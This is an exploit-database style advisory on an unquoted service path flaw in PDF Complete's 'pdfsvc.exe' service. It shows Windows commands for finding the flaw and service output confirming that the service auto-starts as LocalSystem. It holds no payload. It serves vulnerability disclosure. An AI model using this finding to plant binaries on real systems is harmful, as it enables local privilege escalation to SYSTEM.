PDF Complete 3.5.310.2002 Unquoted Service Path

`# Exploit Title: PDF Complete 3.5.310.2002 - 'pdfsvc.exe' Unquoted Service Path  
# Discovery by: Zaira Alquicira  
# Discovery Date: 2020-12-10  
# Vendor Homepage: https://pdf-complete.informer.com/3.5/  
# Tested Version: 3.5.310.2002  
# Vulnerability Type: Unquoted Service Path  
# Tested on OS: Windows 10 Pro x64 es  
  
# Step to discover Unquoted Service Path:  
  
C:\>wmic service get name, pathname, displayname, startmode | findstr /i  
"Auto" | findstr /i /v "C:\Windows\\" | findstr /i "pdfsvc" | findstr /i /v  
"""  
  
PDF Complete  
  
PDF Complete C:\Program Files (x86)\PDF Complete\pdfsvc.exe  
/startedbyscm:66B66708-40E2BE4D-pdfcService  
Auto  
  
  
# Service info:  
  
C:\Users\TOSHIBA>sc qc "pdfcDispatcher"  
[SC] QueryServiceConfig CORRECTO  
  
NOMBRE_SERVICIO: pdfcDispatcher  
TIPO : 10 WIN32_OWN_PROCESS  
TIPO_INICIO : 2 AUTO_START  
CONTROL_ERROR : 1 NORMAL  
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\PDF Complete\pdfsvc.exe  
/startedbyscm:66B66708-40E2BE4D-pdfcService  
GRUPO_ORDEN_CARGA :  
ETIQUETA : 0  
NOMBRE_MOSTRAR : PDF Document Manager  
DEPENDENCIAS :  
NOMBRE_INICIO_SERVICIO: LocalSystem  
  
`